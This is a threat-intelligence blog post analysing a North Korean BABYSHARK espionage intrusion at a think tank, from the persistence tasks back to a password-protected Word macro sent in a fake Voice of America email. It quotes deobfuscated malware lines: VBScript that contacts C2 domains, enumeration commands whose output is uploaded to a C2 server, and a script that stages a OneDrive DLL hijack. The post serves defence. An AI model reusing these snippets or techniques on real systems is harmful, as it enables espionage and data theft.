This blog follows the ThreatOps investigation of targeted DPRK (North Korean) backed cyber espionage efforts against Nuclear Think Tanks. It details the threat hunt from beginning to end, including how our ThreatOps analysts found the threat, how our team peeled back the layers to analyze the malicious activity and how the threat actors phished their way into the partner's network in the first place. Scroll to the bottom for indicators of compromise.
Huntress in February 2022 discovered malicious and targeted advanced persistent threat (APT) activity within a trialing partner organization. This activity aligns with known tradecraft attributed to North Korean threat actors targeting national security think tanks.
The uncovered malware family, dubbed BABYSHARK by other researchers, is used by a DPRK state-sponsored threat actor. This variant was significantly customized and tailored to the specific victim environment, indicating a targeted attack.
In this blog, we'll pull back the curtain on the technical details, our internal process of investigation and the lessons learned for the greater security community.
Right of Boom and Backwards
This story begins with our tried-and-true service: detecting persistence, or how hackers establish and maintain access to their victim.
Discovering persistence mechanisms keys us in that there was undeniably malicious threat actor behavior. We start with this scene of the crime, and then work backward, unveiling new clues and breadcrumbs to uncover the full picture.
Once our 24/7 ThreatOps analysts identified the activity, we began an investigation to identify how deep the rabbit hole went.
Our initial discovery was a scheduled task, masquerading with the name GoogleUpdater that ran a VBScript script qwert.vbs. This is a commonly used technique (MITRE ATT&CK T1035.005) to blend in and avoid detection by sounding like something legitimate—in this case, Google. Using a legitimate file (wscript.exe) to run the malicious script further helps to avoid detection that is based on scanning of the binary that is running.
qwert.vbs included code to reach out to a Google Drive file.
Viewing this Google Drive file, it turns out to be completely blank: an empty file. Note the lengthy filename at the very top of the display, however.
Downloading the page with curl, we can see the HTML source of the Google Drive page—which does not appear to be overtly malicious upon first glance. But taking a closer look, we uncovered some odd “markers” in the lengthy file name displayed.
Aside from what looked like gibberish, there were the strings “manage” with parentheses following it—almost to look like a function call, as if the parameters d=7 were passed in. Immediately following it was a johnbegin-- and a significant amount of nonsense characters, and eventually a --johnend string. The johnbegin and johnend text seemed to be delimiters to wrap around the random data… perhaps that was encoded data in some way!
With that breadcrumb, our ThreatOps team began looking over open-source research online to determine if others have seen these “johnbegin” and “johnend” markings.
Thanks to some shared intelligence by Palo Alto’s Unit42, malware reporting sites and others, we were able to discover that these delimiters were key indicators of a strain of malware dubbed BABYSHARK, known for being used by North Korean state-sponsored threat actors.
Doing our due diligence to read up on the great analysis and research from those who have seen this in the wild before us, it was clear the previous sightings dated back to the 2018-2019 timeframe. For this specific incident, the first indicators of compromise we uncovered were in March of 2021.
Knowing that we were now digging into a malicious APT activity, we deployed our Process Insights functionality to this host and organization for even greater visibility.
Peeling Back the Layers
With a better understanding of what we were looking at, we continued to dig through the qwert.vbs sample.
From reading the code, we could see that this scheduled VBScript would download the contents of this Google Drive page on first execution and carve out the obfuscated data between the johnbegin and johnend delimiters to be saved as a file normal.crp. Later, upon second execution by the scheduled task, the script deobfuscates the saved data and executes it as VBScript.
Considering we can see the deobfuscation routine, we can run that on our own and unravel what actual code would be present and executed from normal.crp.
Note: This screenshot is an excerpt of the code present and the full file can be reviewed with the gist link above.
There is a lot to unpack and discuss within this VBScript code. We will start with the most interesting observation: the malware checks the current username.
The Cast of Characters
We want to emphasize that the observed APT activity is highly targeted against this organization and affiliated individuals.
The target organization fits the category of “think tanks,” as alluded to in the very beginning of this post. Additionally, this target’s computer had a hostname referring to the owner and user—who, for partner confidentiality, we'll refer to as Alex.
Alex's computer was not the only host in this organization that Huntress was supporting—other devices with a hostname based on their user were visible to us, but during the time of our analysis, only Alex's machine was online. To tell the whole story, we knew we needed access to another important user’s machine. We will refer to this user as Bob.
Notice that the normal.crp file specifically checks for the presence of the username “Administrator,” or our newly introduced character, “Bob.” The malware would not run if it was not under Bob. If the current username did not match either of these two names, the malware will reach out to an HTTP C2 server. The malware will then stop itself from executing on the system.
This was particularly interesting to us. This attack was tailored to focus only on Bob. If (and only if) the username matched Bob, then it would add persistence mechanisms in the Windows registry, stage new obfuscated files, and continue communications with its C2 servers.
Following Breadcrumbs
Noting the newly discovered activity from normal.crp, we found several other persistence mechanisms on the host. We discovered the scheduled task named Microsoft-Windows-UpdateDefender that used another VBS script called sys0.vbs to open up a registry key HKEY_CURRENT_USERSoftwareRegisteredApplications and perform some string replacement on the data stored there and execute the contents.
(This filename sys0.vbs differs from the suggested sys1.vbs name in the recovered normal.crp script, but after finding both renditions on different hosts, both contain the same contents).
Examining the contents of the task file showed that the commands were executed every 29 minutes, while sys1.vbs would be executed every 61 minutes.
This was also confirmed by looking at the data collected by Process Insights. Process Insights is the newest addition to The Huntress Managed Security Platform, offering greater visibility and telemetry on actions performed on an endpoint at the process level. This captures information like process spawn time, origination, path and any subsequent child process data—in real-time. 😉
The filexx.tmp and schedxx.tmp files were written to disk as means of checking if this code was executed previously. These files were not present on Alex's machine at the time of our analysis.
The registry value at "HKEY_CURRENT_USERSoftwareRegisteredApplicationsAppXr1bysyqf6kpaq1aje5sbadka8dgx3g4g" contained even more VBScript code.
This code reached out to a C2 domain to retrieve the contents for yet another new file, desktop.tmp, if it was not already present. This code is exactly in line with what we uncovered from the normal.crp, but it pulls from a different C2 domain (worldinfocontactclub rather than hodbeastcom).
The distinction between these domains seemed to be that worldinfocontactclub is their beaconing command and control. It reached out to this C2 on a set interval, retrieved any pending commands to be executed, slept, then executed those new tasks. The response from worldinfocontactclub /111/alex/expresphp?op=2 was inherently going to vary from time to time as the threat actors queued new commands and scripts to execute remotely.
The contents of desktop.tmp were then subsequently changing as they were the last set of commands sent by the C2 server.
The desktop.tmp file contents we uncovered on Alex's machine were obfuscated commands to run the OneDrive.exe process. It is fair to say that this is the “fallback” procedure from the C2 (when no other commands were pending) to ensure whatever DLL hijacking they set up would continue to execute, even if the OneDrive process was stopped. We will revisit the alleged DLL hijacking technique in our analysis of other artifacts soon.
This deobfuscated desktop.tmp on Alex's host is below:
On Error Resume Next:Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("""%userprofile%AppDataLocalMicrosoftOneDriveonedrive.exe"" /background",0,false)
Bear in mind that this was returned from the worldinfocontactclub endpoint. However, hodbeastcom, on the other hand, returned obfuscated syntax that would ultimately run some enumeration commands and write the output to a file ttmp1.log.
cmd.exe /c PowerShell Get-Process outlook ^| Format-List Pathcmd.exe /c whoamicmd.exe /c net usertasklist
The ttmp1.log file is then Base64 encoded with certutil -f -encode to be saved as ttmp.log and then uploaded to https//hodbeast.com/silver/uploadphp with a POST request.
This data exfiltration technique is in line with previous sightings and is known in the MITRE ATT&CK page for BABYSHARK malware.
Finally, other files present on Alex's machine were desktop.r5u and desktop.xml. These files had identical contents. The “BEGIN” and “END” certificate delimiters indicate this file would also be unraveled with certutil.
desktop.r5u and desktop.xml decode to a RAT.
Looking at the first few characters (TVqQAA) we can see that this is probably a base64 encoded PE file. Indeed, using CyberChef, we can decode the base64 text to obtain a DLL file.
Loading the DLL in pestudio reveals a pdb path that leaves nothing to the imagination: “H:HollowgoogleDrive_rat_load_completerat_loadReleaserat_load.pdb”
It’s worth noting that this file cannot be found in VirusTotal. While we have not yet finished our analysis on this DLL, it is not a stretch to consider this could be a variant of the KimJongRAT known to be often used alongside BABYSHARK.
The desktop.xml file seems to copy itself to (or possibly check for) desktop.r5u file in %appdataroamingMicrosoft% directory as this can be found hardcoded in the binary.
It also contains references to the following DLLs within an embedded PE file:
The exports from this binary are as follows:
If there weren’t already enough moving pieces to this story, we uncovered even more activity through wscript.exe with our Process Insights capability. Alongside the running scheduled tasks, there was an occurrence of a script CF8C.vbs being run out of Alex's temporary directory.
wscript.exe C:UsersAlexAppDataLocalTempCF8C.vbs
This CF8C.vbs file was no longer present on the host, but considering it had practically the contents of another script passed as another argument, it was clear it would again deobfuscate or substitute symbols and execute more VBScript.
This deobfuscated VBScript reaches out to a OneDrive link, a tactic once again referenced in other public research, then deobfuscates and executes the supplied VBScript.
On Error Resume Next:Set fs = CreateObject("Scripting.FileSystemObject"):Set ws=CreateObject("WScript.Shell"):Set p0 = CreateObject("msxml2.xmlhttp"):scriptdir = ws.ExpandEnvironmentStrings("%appdata%"):userdir = ws.ExpandEnvironmentStrings("%userprofile%"):username = lcase(ws.ExpandEnvironmentStrings("%username%")):username=Escape(username):username=Replace(username,"%u",""):chk="no":username=lcase(username):p0.open "GET", "https://frebough.com/onedrive/winmm.php?op=" +username,false:p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":p0.Send
Presumably, this is to tell yet another C2 server that this step is completed. It does not seem to execute more code from the response.
Additional Artifacts
Alongside the qwert.vbs file we found on Alex’s host, we uncovered multiple other strange files.
r.vbs seemed to kill the OneDrive.exe process, wait three seconds, and remove a version.dll file present in the same directory as the OneDrive executable. Then, five seconds later, it runs the OneDrive.exe process once more.
On Error Resume Next
Set wShell=CreateObject("WScript.Shell")
retu=wShell.run("cmd.exe /c taskkill /im onedrive.exe /f & timeout 3& del ""%userprofile%AppDataLocalMicrosoftOneDriveversion.dll""",0,true)
retu=wShell.run("cmd.exe /c timeout 5",0,true)
retu=wShell.run("""%userprofile%AppDataLocalMicrosoftOneDriveonedrive.exe"" /background",0,false)
Unfortunately we were unable to find the version.dll file on Alex's host or any other affected machines. Considering the file placement, this looks to be a known DLL hijacking technique to run additional code.
Considering this script removes the version.dll file, once again runs OneDrive with normal execution, and the slight filename “r.vbs” perhaps this is a mechanism to “remove” another implant. We later discovered this same code on Bob’s machine under the filename 1.vbs.
Additionally, a dev.ps1 file was found on the affected host. This used inline C# code within PowerShell to seemingly track Google Chrome and Microsoft Edge tabs, monitor the use of Browser Developer Tools and log these to a tabid_chrome.log, tabid_edge.log and a living.log file that was updated the current date and time. These log files contained nothing more than an identification number for each tab, but we could see from the living.log file that this code was actively running on the victim.
(We later discovered dev.vbs on Bob’s machine which looks to kickstart the dev.ps1 file—also present with the same contents under the filename onenote.vbs.)
On a separate user’s machine (we will call them Charlie for the sake of storytelling) we discovered the onenote.vbs file with slightly different contents to invoke the PowerShell script with a different technique, as well as a new pow.ps1 that looked to remove Google Chrome security preferences.
Putting the Puzzle Pieces Together
While we continued to do analysis on the files and threads we uncovered, we knew we were slowly building the big picture of this attack chain. Considering how BABYSHARK malware would traditionally be run, we knew we were still missing one critical piece of information: the initial access where this all started from. Where was the phish?
The first step in finding initial access was to figure out the timeframe of the compromise. To do that, we searched for other interesting files on the machines. The earliest found script file was the sys0.vbs script we found earlier. The timestamps for this file placed our timeline starting on March 9, 2021. This helped us narrow down the timeframe from when the malicious document(s) may have been downloaded.
The APT group is known to use spear phishing emails with malicious links embedded or malicious documents attached to gain access, so we started hunting for them on the system. Being extremely cautious of what we could dig through, we examined only suspicious Microsoft Office during the early months of 2021.
Unfortunately, we couldn’t find a smoking gun. But at that time, only Alex's computer was online and communicating with Huntress.
As we communicated with this trialing partner, explaining what we uncovered and the gravity of this incident, they notified the players involved. Soon enough, the other compromised machines (Bob's and Charlie's, specifically) came online.
With those hosts now accessible to Huntress, we could correlate what files were present across all of these compromised machines. While the AV product the organization was using did not stop the intrusion, it at the very least had logs of what files were scanned and when.
Using the logs across all three hosts, we uncovered only a handful of files that were present on each host. The most interesting file that stuck out to us was VOA_Korea.zip. From the logs, we could tell it had a .doc file inside of it, and this seemed promising. We also noticed that the scanning of the ZIP file and its contents failed. This could be indicative of password protection.
If you hadn’t caught on to the acronym, the VOA in this case refers to the Voice of America media organization. Voice of America is an international broadcasting station in the United States, focusing on offering information and news from countries and continents all over the world.
Attempting to retrieve the VOA_Korea.zip file, it was unfortunately no longer present on each of the compromised machines.
AV logs revealed that the end user attempted to download this file two times.
Finding the Phish
There was still a VOA_Korea (1).zip that was present and we were able to retrieve the file. Uncompressing the archive, we hit another wall—the .doc file was password protected. This doubles as both a sneaky phishing tactic, but also to potentially hide malicious macros from antivirus software.
It was at this point that we went from hunting to hacking and started trying to crack open the file. We do say our offense is your defense, after all! 😉
After throwing combinations of John The Ripper and Hashcat with different wordlists and rule files, eventually, a boring, basic bruteforce found the password: voa2021.
With a rush of adrenaline, we went to examine the decrypted Microsoft Word document, opting for the one of quickest tools for macro analysis, olevba.
The .doc file lit up like a Christmas tree.
We found the malicious macro document used for initial access! After some quick deobfuscating (same technique as seen previously), we could see the whole picture for this attack.
This macro tells the story for almost each of the puzzle pieces we had uncovered previously.
- Checks for the presence of OneDrive
- Downloads a new Microsoft Word document to show the user and convince them of the phish: (
http//beastmodser.club/sil/0304/VOA_Koreadocx) - Checks for the presence of antivirus products like BitDefender or Norton Security, and quits if present
- Disables Microsoft Word macro protections in registry
- Downloads a
version.tmpfile to be then moved and renamed asversion.dllfor the OneDrive DLL hijacking attack (https//beastmodser.club/sil/0304/dphp?na=version.gif) - Starts
OneDriveStandaloneUpdater.exeto begin the DLL hijacking attack
Checking for the presence of antivirus or security software is a common technique for sophisticated malware samples, but this adds to the stealth of the operation. The malicious macro bailing out and not detonating if there are certain products present makes this even more targeted.
While this explained the version.dll, unfortunately, we were unable to retrieve the original file from the malicious hosting URL. Neither the faked VOA_Korea.docx file or the DLL were still present on the newfound beastmodserclub domain… but it is at least known evil. 😉
Other reports on BABYSHARK malware have explained how it does disable macro warnings and Microsoft Office security protections. This was very evident in the code run by the macro…changing registry values to disable defense across practically every version of Microsoft Word.
A quick synopsis of the commands ran within that macro:
Lures and Phishbait
With the discovery of the initial attack vector and phishing document, and after analysis of the pertinent files to determine the scope of this attack, we felt this investigation was coming to a close. But even after finding the malicious macro, we were still curious—what convinced Alex to open this file?
The “lure” looked safe and secure, tucked away inside of a ZIP file with a password-protected document… what was the pretense?
We asked the trialing partner if they could find the original email. Here we showcase a fascinating back-and-forth with some cunning deception and a well-played scheme.
The threat actor reaches out to Alex under the guise of collecting info for the VOA, masquerading as a real VOA author (that author link is legitimate, along with the Twitter profile). There is no attachment—they ask for input from the victim.
Alex falls for the bait, but there is at least one clue that suggests this may have originated from an illegitimate source:
Voice of America probably doesn’t use Yahoo as their email provider. 🥴
Alex has no cause for concern here—they sent them a document with answers to their questions. For the final trick, our threat actor suggests they have “made some edits” and are sending the last copy back for final approval. To “be secure,” the document is password protected. 😈
There is the smoking gun—a OneDrive link with the hosted download for our VOA_Korea.zip file, with the password-protected Word document with the macro that kickstarts this compromise.
Thinking back to the malicious VBScript, wasn’t the target Bob, and not Alex? The threat actor may have used a roundabout method to get the true victim… but it worked.
Alex forwarded the email to their co-workers for their approval and carbon-copied the other victims.
There is no further correspondence in the email chain. The threat actor had what they wanted, and the victims were unaware they had just been phished—because it was, after all, a very clever ploy.
After we had finished our investigation and shared everything learned with the targeted organization, we continued our analysis. We found one particularly interesting news article dating back to December of 2021: “Hackers use fake media domains to trick North Korea researchers”... specifically VOA, under the very same guise.
Looking back, this was very clever malware filled with living-off-the-land techniques, using normally trusted software with OneDrive and Google Drive, staged with a particular stealthy phishing lure… but, we were disappointed in what earned the damning click.
The malicious Word document itself is the most cookie-cutter, vanilla phish bait that one might see in generic and bland cybersecurity training. Despite how often security professionals scream and shout about these barebone basics of security hygiene, still this can slip by and damage an organization.
“Please click here” is all an APT needs.
Lessons Learned
The adversary here is likely a well-funded nation-state-supported threat actor, whose operations are known for their phishing prowess and building trust or a connection before dangling the lure. The remote access trojan and data exfiltration capabilities have been present and active in the target environment for nearly a year.
We tend to share statistics and infographics about hacker dwell-time being weeks, or months, but this malware has gone unnoticed for much longer. While the victim organization had antivirus, the threat still slipped past. From our own analysis, looking through the logs, it is disheartening to see the exact moment where prevention efforts fell short.
With that, we offer a gentle reminder: prevention will fail. There is immense value, though, in logging, monitoring, and hunting. All the threads of this story could not have unfolded without the data retention and logged information available to our team of analysts and investigators.
Whether the infecting malware stems from an unskilled actor, just grabbing code off the shelf, or a trained and sophisticated APT, detection and human analysis must be in play.
The Huntress Managed Security Platform has been augmenting more features and functionality to enrich our partners' reporting and insight. Combining the powers of each of these services (Persistent Footholds, Managed Antivirus, Process Insights, etc.), we can gain a greater understanding of incidents and compromises—and for finding APT activity on a trialing partner's system, we hope that offers a great example.
• • •
Special thanks to analysts, researchers, account representatives, engineers and all involved in response to this incident and their contributions to this blog: Cat Contillo, Matt Anderson, Caleb Stewart, Dave Kleinatland, John Hammond, Matthew Brennan, Tim Kasper, Clarissa Bove, Jamie Levy, Max Rogers, Greg Ake, Rob Noeth and Sharon Martin.
Indicators of Compromise
| Type | Item | Notes / sha256 Hash |
| URL | retmodulcom |
Accessed during execution of normal.crp. May be used to signal success of attack. |
| URL | hodbeastcom |
Staging C2 url |
| URL | worldinfocontactclub |
Beaconing C2 url |
| URL | freboughcom |
Staging C2 url |
| URL | beastmodserclub |
Staging C2 url |
| Strings | H:HollowgoogleDrive_rat_load_completerat_loadReleaserat_load.pdb |
String in desktop.xml and desktop.r5u |
| Registry Key | HKEY_CURRENT_USERSoftwareRegisteredApplications |
Contained code that was executed by sys0.vbs |
| File | c:Users<user>AppDataRoamingdesktop.tmp |
5b31d65b0607ae3de40ff8376bb83f3ff4defba3b564c380be5514d9766978ea |
| File | C:Users<user>AppDataRoamingr.vbs |
c86d6e9dfc79bdf29f0826327992f8cf3df3e1ed6b41f1c8f6ee67b32bef3a6b |
| File | C:Users<user>AppDataRoaming1.vbs |
c86d6e9dfc79bdf29f0826327992f8cf3df3e1ed6b41f1c8f6ee67b32bef3a6b |
| File | C:Users<user>Microsoftsys0.vbs |
bf82675bac2cd574fa8b87659217bffb29d4bc49b355b405ac4cd2666cd72f5a |
| File | C:Users<user>Microsoftsys1.vbs |
bf82675bac2cd574fa8b87659217bffb29d4bc49b355b405ac4cd2666cd72f5a |
| File | C:Users<user>AppDataRoamingMicrosoftdesktop.xml |
As a certificate: 2ad3266331e405677c68bb43c490467107ca398d3ce430080a4db92036c93160
Converted DLL: e314b40449b7b9b84f20f49f89888511433573377e007e5c1e94fd84ecf17caf |
| File | C:Users<user>AppDataRoamingMicrosoftdesktop.r5u |
As a certificate: 2ad3266331e405677c68bb43c490467107ca398d3ce430080a4db92036c93160
Converted DLL: e314b40449b7b9b84f20f49f89888511433573377e007e5c1e94fd84ecf17caf |
| File | C:Users<user>AppDataLocalMicrosoftOneDriveversion.dll |
|
| File | C:Users<user>AppDataLocalMicrosoftOneDriveversion.tmp |
|
| File | C:Users<user>AppDataRoamingnormal.crp |
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| File | C:Users<user>AppDataRoamingMicrosoftWindowsqwert.vbs |
e08fe0b287b4d112514276c2b102b9c80b4dab73257f06ab24231329389ad931 |
| File | C:Users<user>AppDataMicrosoftttmp.log |
|
| File | C:Users<user>AppDataMicrosoftfilexx.tmp |
Checked by normal.crp for run status, created if not run previously. Contents are 111 |
| File | C:Users<user>AppDataMicrosoftschedxx.tmp |
Checked by normal.crp for run status, created if not run previously. Contents are 111 |
| File | C:Users<user>AppDataLocalTempCF8C.vbs |
|
| File | C:Users<user>AppDataRoamingMicrosoftdev.ps1 |
def0975728fc5da61c022bb62b7160e2764631b852ec7f83951263c7830bec8d |
| File | C:Users<user>AppDataRoamingMicrosoftpow.ps1 |
d41c943fd5ffacde74f487df6a43b72e9730f05812b9b1f8dc874bd486f182b3 |
| File | c:users<user>appdataroamingMicrosoftliving.log |
(Hash varies based off the current time) |
| File | C:Users<user>AppDataRoamingMicrosofttabid_chrome.log |
(Hash varies due to logging) |
| File | C:Users<user>AppDataRoamingMicrosofttabid_edge.log |
(Hash varies due to logging) |
| File | c:Users<user>AppDataRoamingmicrosoftWindowsstart menuProgramsStartupOneNote.vbs |
c327631a212e4a9681e3cf1574c500ce3700186cc605ae08db5878ecb0bfe66f
(Note: hash may vary across different machines) |
Lily Teplow is content marketing manager at Huntress. Read more Huntress guest blogs here. Regularly contributed guest blogs are part of MSSP Alert’s sponsorship program.
